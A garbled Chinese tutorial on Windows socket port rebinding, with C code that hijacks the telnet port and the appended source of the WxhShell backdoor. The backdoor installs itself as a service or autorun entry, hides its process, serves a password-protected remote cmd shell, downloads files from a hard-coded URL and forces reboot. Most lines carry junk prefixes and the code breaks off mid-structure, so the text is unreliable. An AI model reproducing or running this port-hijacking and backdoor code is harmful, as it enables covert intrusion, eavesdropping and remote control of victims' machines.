在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
% LJs s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*4V=z# \hB5@e4i2 saddr.sin_family = AF_INET;
uDEvzk42 hZ.Z3`v70 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L:FoSCN Y( 'nF2aD%A bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
vd8{c7g:n 0}b
tXh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
eut-U/3: # U\Z?taXB 这意味着什么?意味着可以进行如下的攻击:
s0PrbL%_` ^Vpq$'! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i9/aAH0 b#X^=n2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1Z9qjV%^ 3+XOZh8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3`k;a1Z#O' {~F4WjHJp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
B[KJR?> aoXb2 2]{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
B'fb^n< l,kUhZ@W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#FNcF>3> lyGhdgWc 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
JYTP
2 Y./2Ely #include
JfR%L q~ #include
m}X`> aD/ #include
3\B>lKhQ #include
2RX!V@z.G DWORD WINAPI ClientThread(LPVOID lpParam);
sQ
fFu int main()
L31HGH2l {
8?%-'z. WORD wVersionRequested;
vMS
|$L DWORD ret;
0PWg;>^' WSADATA wsaData;
^Y'HaneoM BOOL val;
>"C,@cN}B SOCKADDR_IN saddr;
62Z#YQ}x SOCKADDR_IN scaddr;
[Nk3|u`h int err;
)Q.>rX,F SOCKET s;
5=Di<! a; SOCKET sc;
ndkti5L,
int caddsize;
( vca&wI! HANDLE mt;
9T1ZL5 DWORD tid;
u,UmrR wVersionRequested = MAKEWORD( 2, 2 );
|]c8jG\h err = WSAStartup( wVersionRequested, &wsaData );
DK$s&zf if ( err != 0 ) {
$fzaPD4. printf("error!WSAStartup failed!\n");
R;j!}D!4 return -1;
e:5bzk!~ }
xftBSdVE saddr.sin_family = AF_INET;
'nwx9]q O)jWZOVp > //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,]d,-)KX8 f`;j:O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
uB]b}"+l saddr.sin_port = htons(23);
VSSu&Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bdc&1I$ {
s#WAR]x0x printf("error!socket failed!\n");
bLwAXW2K+ return -1;
iB498t }
4 XAQVq5 val = TRUE;
HbxL:~:}J //SO_REUSEADDR选项就是可以实现端口重绑定的
(,8$V\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
k@'#@
t {
RR]CW printf("error!setsockopt failed!\n");
v~^{{O return -1;
$GTU$4u }
fe9LEM8j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[Ki0b^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-&-Ma,M? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+>r/ 0b c\Q7"!e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
nuw70*ell {
c5u@pvSP ret=GetLastError();
i ~{Ufi printf("error!bind failed!\n");
Ac<Phy-J return -1;
LL3#5AA"k| }
"*Tb"
'O listen(s,2);
vuoQz\ while(1)
hBBUw0" {
6,0_)O}\b caddsize = sizeof(scaddr);
GhIKvX_N //接受连接请求
\Z+z?K O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o}* hY"& if(sc!=INVALID_SOCKET)
]{ntt}3G, {
<OIIoB?t mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[x,>?~6ek if(mt==NULL)
:R~MO& {
k@z,Iq8 printf("Thread Creat Failed!\n");
Yj6*NZ* break;
njWL U! }
0Nnsjh }
1q,{0s_kp CloseHandle(mt);
lLF-{ }
(aH'h1,G closesocket(s);
9R7A8 WSACleanup();
z}MP)|aH: return 0;
/,g ,Ch<d }
r(RKwr:m DWORD WINAPI ClientThread(LPVOID lpParam)
6I4oi@hZz {
'2[albxSc SOCKET ss = (SOCKET)lpParam;
O4og?h> SOCKET sc;
y9>ZwYN unsigned char buf[4096];
~2gG(1%At9 SOCKADDR_IN saddr;
s=0BMPDgm long num;
~Hr}] DWORD val;
]hFW73FV DWORD ret;
}#^
B#?O //如果是隐藏端口应用的话,可以在此处加一些判断
TztAZ2C //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/(.mp<s0 saddr.sin_family = AF_INET;
W7 #9jo saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
p_${Nj saddr.sin_port = htons(23);
=g|IG
[V if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n}!PO[m~ {
!& z(:d printf("error!socket failed!\n");
.MP !` return -1;
O vk_\On }
GJoS #s val = 100;
x7eQ2h6O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1$p2}Bf{n {
Q|D @Yd\ ret = GetLastError();
IVAmV!.z return -1;
=AEBeiz }
?B}{GL2) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$h*L=t( {
8n*.).33 ret = GetLastError();
<w)r`D6 return -1;
U'<KC"f:'! }
/Sc l#4bW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
t+1 %RyKFB {
r}mbXvn printf("error!socket connect failed!\n");
fR*q?, closesocket(sc);
f
(F)1 closesocket(ss);
".<DAs j return -1;
Is{KN!Hw }
9*{[buZX while(1)
&3TEfvz {
>o7n+Rb: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4 Dw@r{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
98uV6b~g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
P dhEQ}H num = recv(ss,buf,4096,0);
:[hgxJu+ if(num>0)
'>' wK. send(sc,buf,num,0);
]y1OFKYv else if(num==0)
#]ypHVE break;
?6fnpGX@a num = recv(sc,buf,4096,0);
:uK?4 if(num>0)
ZI 3Nq send(ss,buf,num,0);
Q=/</| else if(num==0)
:$m}UA-9 break;
](wvu(y\E }
/oR<A closesocket(ss);
Ipq"E closesocket(sc);
s3R(vd return 0 ;
TiO"xMX }
n1VaLD I~Zh@d% .2v_H5< ==========================================================
r?Wk<>%> .R./0Ot tx 下边附上一个代码,,WXhSHELL
(+FfB"3] V9dF1Hj ==========================================================
}5}.lJ: D-4f > #include "stdafx.h"
[5+}rwm&W |,!IZ-
th #include <stdio.h>
1M
781 #include <string.h>
] 0B2#
d #include <windows.h>
pXtX jb #include <winsock2.h>
1][S#H/? #include <winsvc.h>
\V*xWS #include <urlmon.h>
fH> NJK; i* NH'o/
#pragma comment (lib, "Ws2_32.lib")
?l^1 *Q, #pragma comment (lib, "urlmon.lib")
Y#lk6 Gq }U|Z #define MAX_USER 100 // 最大客户端连接数
MgNU`` #define BUF_SOCK 200 // sock buffer
YtfVD7m #define KEY_BUFF 255 // 输入 buffer
dK2p7xo T3pmVl #define REBOOT 0 // 重启
kMt 8/ E` #define SHUTDOWN 1 // 关机
@qnD=mE U2wbv Xr5- #define DEF_PORT 5000 // 监听端口
:"IE w$`5g #define REG_LEN 16 // 注册表键长度
Q&eQQ6b^Ih #define SVC_LEN 80 // NT服务名长度
X7i/fm{l' o)2W`i & // 从dll定义API
V` 1/SQX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_cJ2\`M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ykX/9y+-s typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
p-/|mL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
45MLt5^| 4W)B'+ZK8 // wxhshell配置信息
^n"OL*ipG struct WSCFG {
OI0;BBZ int ws_port; // 监听端口
d~`x )B( char ws_passstr[REG_LEN]; // 口令
V%YiAr> int ws_autoins; // 安装标记, 1=yes 0=no
mqAWL:VvQ7 char ws_regname[REG_LEN]; // 注册表键名
:xh?eN& char ws_svcname[REG_LEN]; // 服务名
d_)o
char ws_svcdisp[SVC_LEN]; // 服务显示名
'F_8j; char ws_svcdesc[SVC_LEN]; // 服务描述信息
oNU0 qZ5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
8rMX9qTO@ int ws_downexe; // 下载执行标记, 1=yes 0=no
I>[RqG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fe_yqIdk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$ n+w$CI) /~Z?27F6@ };
LK, bO| Pp`*]Ib // default Wxhshell configuration
bVL9vNK struct WSCFG wscfg={DEF_PORT,
3plzHz ,x "xuhuanlingzhe",
'C
~y5j 1,
L}}y'^( "Wxhshell",
K!'AkTW+- "Wxhshell",
C0
/g1;p( "WxhShell Service",
Z6_N$Z.A "Wrsky Windows CmdShell Service",
3&[>u;Bp "Please Input Your Password: ",
OV%Q3$15 1,
c=L2%XPP "
http://www.wrsky.com/wxhshell.exe",
Jnna$6G)B "Wxhshell.exe"
2;^y4ssg };
Nv/v$Z{k bV8!"{ // 消息定义模块
0em#-*|2" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
lm xr oHE char *msg_ws_prompt="\n\r? for help\n\r#>";
B,K>rCZ/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;zIP,PMM char *msg_ws_ext="\n\rExit.";
spGB)k,^ char *msg_ws_end="\n\rQuit.";
|/2y-[;: char *msg_ws_boot="\n\rReboot...";
yI ld75S` char *msg_ws_poff="\n\rShutdown...";
eXKo.JL char *msg_ws_down="\n\rSave to ";
B|4X}*@SX )~+ e`q char *msg_ws_err="\n\rErr!";
=7C%P%yt char *msg_ws_ok="\n\rOK!";
8}FzZ?DRy Bnb#{tL char ExeFile[MAX_PATH];
u)V#S:9] int nUser = 0;
q&Gz ] HANDLE handles[MAX_USER];
eOXHQjuj int OsIsNt;
&p}$J)q n%k!vJ)] SERVICE_STATUS serviceStatus;
%c
[F;ug SERVICE_STATUS_HANDLE hServiceStatusHandle;
BwBm[jtP YQpSlCCo
3 // 函数声明
h~p>re int Install(void);
( @3\`\X int Uninstall(void);
mdq;R*` int DownloadFile(char *sURL, SOCKET wsh);
r; xLP int Boot(int flag);
{.De4]ANh void HideProc(void);
CMCO}# int GetOsVer(void);
"bm int Wxhshell(SOCKET wsl);
r4QxoaM void TalkWithClient(void *cs);
$zyIuJN# int CmdShell(SOCKET sock);
Rhe Re int StartFromService(void);
LNa $
X5` int StartWxhshell(LPSTR lpCmdLine);
1XnZy5fEo e89Xb;;w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+Wx{: VOID WINAPI NTServiceHandler( DWORD fdwControl );
u6_@.a} #Ap;_XcKw // 数据结构和表定义
4lM8\Lr SERVICE_TABLE_ENTRY DispatchTable[] =
S3@|Q\*r {
TU GNq {wscfg.ws_svcname, NTServiceMain},
hBFP1u/E' {NULL, NULL}
\igmv]G% };
w1Ec_y { VB?Ohk]< // 自我安装
jU3Z*Z)zN int Install(void)
~{D[
>j][ {
8?i7U<CB char svExeFile[MAX_PATH];
(&P9+Tl HKEY key;
0q*r strcpy(svExeFile,ExeFile);
1I*7SkgKv z9p05NFH // 如果是win9x系统,修改注册表设为自启动
3 HIz9F( if(!OsIsNt) {
Rt{B(L.?< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oh
KCdT~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&E40*
(C RegCloseKey(key);
8> .J1C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
? B E6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gi-Yqco RegCloseKey(key);
=r.mlc``W return 0;
}->.k/vc }
A)~X, }
E%'~'[Q }
qBQ`~4s else {
XgxX.`H7 4_UU<GEp // 如果是NT以上系统,安装为系统服务
`D":Q=: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|8.(XsN if (schSCManager!=0)
t2V0lyeL {
`$~RxzZ g SC_HANDLE schService = CreateService
Fk6x<^Q<w (
8UMFq schSCManager,
*5wu
wscfg.ws_svcname,
uu/+.9 wscfg.ws_svcdisp,
d @*GUmJ SERVICE_ALL_ACCESS,
[F*4EGB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[ G
e=kFB SERVICE_AUTO_START,
-PnyZ2'Z SERVICE_ERROR_NORMAL,
Wfz\`y svExeFile,
gxT4PQDy NULL,
$&=p+ NULL,
yR~R: NULL,
LT~YFS NULL,
LFZiPu NULL
GCttXAto );
=L5GhA~ if (schService!=0)
`g_"GE {
2o9$4{}rG CloseServiceHandle(schService);
S8l1"/?aHE CloseServiceHandle(schSCManager);
{66fG53x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sjM;s{gy strcat(svExeFile,wscfg.ws_svcname);
8`]=C~G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;),BW g RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
a2f^x@0k RegCloseKey(key);
~=wCwA|1 return 0;
^@"H1 }
mrJQ# }
y')RT R{>M CloseServiceHandle(schSCManager);
k;EPpr-{ }
c.|l-zAeX }
1TM~*<Jb teW6;O_ return 1;
)%X;^(zKM }
#$1og= kip`Myw+ // 自我卸载
{i*2R^5 int Uninstall(void)
KZbR3mi, {
}%-t+Tf, HKEY key;
Nk;iiz+_p Y2R \]FrT if(!OsIsNt) {
]O
TH"*j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
LrCk*@ RegDeleteValue(key,wscfg.ws_regname);
'&FjW-`"
G RegCloseKey(key);
7Mx6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+"ueq RegDeleteValue(key,wscfg.ws_regname);
,zQOZ'^ RegCloseKey(key);
M('d-Q{B7L return 0;
y#<MVH }
H2r8,|XL }
zD)pF1,7:8 }
DOQc"+ else {
ZCVl5R(mZ #u5~0,F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
W><dYy=z5 if (schSCManager!=0)
+-a&2J;J' {
,SScf98,j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
QR>
Y%4 ;h if (schService!=0)
D%7kBfCb {
7yt=]1 if(DeleteService(schService)!=0) {
m7%C#+67 CloseServiceHandle(schService);
D\~e&0* CloseServiceHandle(schSCManager);
_ OaRY] return 0;
}#v{`Sn%^C }
+zkm( CloseServiceHandle(schService);
gr-x|wK }
y\F=ui CloseServiceHandle(schSCManager);
=6=_/q2 }
zTD@ }
<8#ObdY! r,N[ )@ return 1;
nW+YOX|+ }
up%Z$"Y l+y}4k=/ // 从指定url下载文件
m~],nl int DownloadFile(char *sURL, SOCKET wsh)
n^hocGH* {
x3e]d$ HRESULT hr;
RiO="tX' char seps[]= "/";
gcJF`H/iNK char *token;
-@IL"U6 char *file;
\Xt)E[ char myURL[MAX_PATH];
d'l$$%zJ char myFILE[MAX_PATH];
Iia.k'N `!G7k strcpy(myURL,sURL);
^ie^VY($ token=strtok(myURL,seps);
M8@_Uj while(token!=NULL)
*OdX u&5 {
g6sjc,` file=token;
bQaoMZB token=strtok(NULL,seps);
P|^$kK }
q9dLHi<1 4S
L_-Hm. GetCurrentDirectory(MAX_PATH,myFILE);
}~o
ikN: strcat(myFILE, "\\");
z8Q"%@ strcat(myFILE, file);
]v5-~E! send(wsh,myFILE,strlen(myFILE),0);
ACV ek send(wsh,"...",3,0);
~]8p_;\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^ft]b2i if(hr==S_OK)
l[/q%Ca'> return 0;
fw{,bJ(U else
d
`j?7Z return 1;
{5Eyr$ !U BVPR* }
j1$<] f WA
LGIW // 系统电源模块
=V|Nn0E int Boot(int flag)
:w?7j_p# {
WwW^[k (X HANDLE hToken;
~4)Y#IxL TOKEN_PRIVILEGES tkp;
*(*+`qZL{( [.q(h/b if(OsIsNt) {
vZajT!h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'H FK Bp LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
j[P8 tkp.PrivilegeCount = 1;
y67uH4&Vm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ggou*;' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!%mi&ak(Rn if(flag==REBOOT) {
W>L@j( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Q-zdJt return 0;
l_v*7d }
1.SkIu% else {
wk02[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E' %lxr return 0;
* Zd_
HJi }
67J*&5? | }
w{'2q^>6* else {
n=`w9qajd if(flag==REBOOT) {
*`KrVu 6s if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
bV3lE6z return 0;
Yjup }
9NWloK6bT else {
WL\^F#: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
q{X T return 0;
n9fk,3 }
"g
`nsk }
g8yN%)[ _=6 OP8 return 1;
3 C"_$?y" }
<pOl[5v] 0yHjrxc$ // win9x进程隐藏模块
KzkgWMM void HideProc(void)
w4{y"A {
Lh 9S8EU TmiWjQv` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M7VID6J. if ( hKernel != NULL )
+5*vABvCu {
y`b\;kd pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+v[O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?`A9(#ySM FreeLibrary(hKernel);
:^G%57NX }
,#aS/+;[) 6+8mV8{-8 return;
\/,g VT }
BPWnck=% Z}[xQ5 // 获取操作系统版本
ZT9IMihV int GetOsVer(void)
Ofm5[q= {
]xR4->eix OSVERSIONINFO winfo;
g9qC{xd winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ea4
* o GetVersionEx(&winfo);
|yAK@Hl' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4p x_ZD#J return 1;
E!@/N E\- else
E|,30Z+ return 0;
j m>U6 }
MOyT< $ hrT%XJl // 客户端句柄模块
[` 'd#pR int Wxhshell(SOCKET wsl)
]-KV0H {
@,YlmX} SOCKET wsh;
fN0bIE
Y struct sockaddr_in client;
H56
^n<tg DWORD myID;
%uEtQh[ va>"#;37 while(nUser<MAX_USER)
L *{QjH {
b8cVnP int nSize=sizeof(client);
(H[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fqX~xp if(wsh==INVALID_SOCKET) return 1;
*')Q {8` o4'Wr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(+x]##Q if(handles[nUser]==0)
\=8=wQv closesocket(wsh);
,|iy1yg( else
jnDQ{D nUser++;
3q CHh }
wDZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^vn\4 fD(7FN8 return 0;
.ujj:> }
|>@-grs mo*'"/ // 关闭 socket
`+^sW#ki void CloseIt(SOCKET wsh)
4
iKR{P6 {
@% H8"A closesocket(wsh);
w~{| S7/ nUser--;
>3+FZ@.iT ExitThread(0);
V*~423 }
X/wmKi R|H[lbw // 客户端请求句柄
=
uk`pj[l void TalkWithClient(void *cs)
lY->ucS %P {
1XGG.+D 3!bK d2" SOCKET wsh=(SOCKET)cs;
rV~T>x char pwd[SVC_LEN];
`11#J;[@G char cmd[KEY_BUFF];
wH#-mu#Yl< char chr[1];
Tr$i=
M int i,j;
g#Mv&tU +.wT
9kFcc while (nUser < MAX_USER) {
+
lP5XY{ [5!'ykZ if(wscfg.ws_passstr) {
U81;7L8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'X|v+? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mHHzCKE , //ZeroMemory(pwd,KEY_BUFF);
s1Okoxh/!V i=0;
m'SmN{(t while(i<SVC_LEN) {
y]J3hKs hMz&JJ&B // 设置超时
) (+)Q'* fd_set FdRead;
}R`Irxv4 struct timeval TimeOut;
2H3(HZv FD_ZERO(&FdRead);
K Ka c6Zj FD_SET(wsh,&FdRead);
^A- sS~w TimeOut.tv_sec=8;
^~,
ndH{ TimeOut.tv_usec=0;
BL0|\&*1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2J)74SeH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/<6ywLD \U Ax(; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Y=3X9%v9g pwd
=chr[0]; ckAsGF_B~!
if(chr[0]==0xd || chr[0]==0xa) { rQn{L{
pwd=0; "NJ,0A
break; 9ptZVv=O
} a6k(9ZF
i++; 6EZ1YG}
} yV8-
D>ojW|@}
// 如果是非法用户,关闭 socket Q5hb0O%a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0n\^$WY
} w[e0wh`.
7TnM4@*f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ([[)Ub$U
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /z..5r^,ZZ
.r7D)xNa@
while(1) { Q6eN+i2 ;
ZU)BJ!L,s
ZeroMemory(cmd,KEY_BUFF); v3?kFd7%H~
hTDV!B-_(
// 自动支持客户端 telnet标准 m**0rpA
j=0; gH5CB%)
while(j<KEY_BUFF) { o*-h%Z.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N4A&"1d&
cmd[j]=chr[0]; Sy4
mZ}:
if(chr[0]==0xa || chr[0]==0xd) { a5X`jo
cmd[j]=0; O<4Q$|=&?
break; n}=rj7
} 4U}zJP(L
j++; k\nH&nb
} 7[4_+Q:}
^GE^Q\&D&
// 下载文件 )\0Ug7]?
if(strstr(cmd,"http://")) { ^WmGo]<B_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \5t`p67Ve_
if(DownloadFile(cmd,wsh)) ESn6D@"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p(~Y"
H
else yI3Q |731)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JL?Cnk$!
} mXQl;
else { w'!ECm>*`
&$<(D0
switch(cmd[0]) { *Kp}B}}J
KbXbT
// 帮助 -,FK{[h]ka
case '?': { 6 #-6Bh)>4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oSN8Xn*qr
break; ,2RC |h^O,
} 1P+Mv^%I
// 安装 *~"zV`*Q
case 'i': { C usVW
if(Install()) SAd97A:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zhuyePn
else i/5y^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g@<sU0B
break; wEBtre7
} zt-'SY
// 卸载 7fap*
case 'r': { c9\B[@-q
if(Uninstall()) os}b?I*K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|HIO&M
else <sgZ3*,A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \_lG#p|
break; ?H y%ULk
} '.]e._T
// 显示 wxhshell 所在路径 ,DexJ1
case 'p': { M4zX*&w.T
char svExeFile[MAX_PATH]; <P|`7wfxE
strcpy(svExeFile,"\n\r"); N|UBaPS|o
strcat(svExeFile,ExeFile); 0q:(-z\S4
send(wsh,svExeFile,strlen(svExeFile),0); )`B
-O::
break; <P+G7!KZ&
} Z[a O_6L
// 重启 <^CYxy
case 'b': { I++W0wa.n
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U(rr vNt:t
if(Boot(REBOOT)) Ix*BI9E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [LJ705t
else { f%bc64N(
closesocket(wsh); DkDw>Nx<rs
ExitThread(0); 70'}f
} 4$0jz'
break; A Oby*c
} A8\U
CG
// 关机 @`w'
case 'd': { B.]qrS|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5u'TmLuKT
if(Boot(SHUTDOWN)) }s`jl``PM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mgJShn8]
else { B0-4ZT
closesocket(wsh); ."~7 \E> t
ExitThread(0); lAdOC5+JX
}
80{#bb
break; K)yCrEZ
} "WF(
6z#
// 获取shell >{O[t2&
case 's': { l@,); w=_P
CmdShell(wsh); B] A 5n8<
closesocket(wsh); Z_iAn TT
ExitThread(0); Iq4 Kgc
break; s5c! ^,L8
} *4(/t$)pEl
// 退出 "\VW.S
case 'x': { Gl?P.BCW.&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #2_o[/&}x@
CloseIt(wsh); {toyQ)C7
break; :)KTZ
} l(h;e&9x
// 离开 "wT~$I"
case 'q': { cJU!zG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); p{A}p9sjx
closesocket(wsh); }4bB7,j
WSACleanup(); p{mxk)A
exit(1); '#cT4_D^lI
break; [47K7~9p
} ^>,<*p
} tx:rj6-z
} jw:4fb
h]J&A
// 提示信息 #,f}lV,&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *kX3sG$8
} |@o]X?^
} 6Nfof
7h9 fQ&y
return; v$gMLu=
} c8k6(#\
&+E'1h10
// shell模块句柄 !.;xt L
int CmdShell(SOCKET sock) AmT|%j&3
{ H j5WJ{p.
STARTUPINFO si; 4
|:Q1
ZeroMemory(&si,sizeof(si)); Vu|Br
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -V;0_Nx7p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >wg9YZ~8
PROCESS_INFORMATION ProcessInfo; }@ O|RkY
char cmdline[]="cmd"; O84v*=u A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !1a|5
xrn
return 0; &;6|nl9;
} |d/x~t=
*j_fG$10g
// 自身启动模式 2FZ0c/[&
int StartFromService(void) Sy+]SeF&
{ }}sRTW
typedef struct )Dk0V!%N
{ j=xtnIq
DWORD ExitStatus; E6k?+i
w
DWORD PebBaseAddress; X/`#5<x
DWORD AffinityMask; 0@sr
NuW
DWORD BasePriority; 5 `{|[J_[
ULONG UniqueProcessId; [p( #WM:
ULONG InheritedFromUniqueProcessId; *! r\GGb
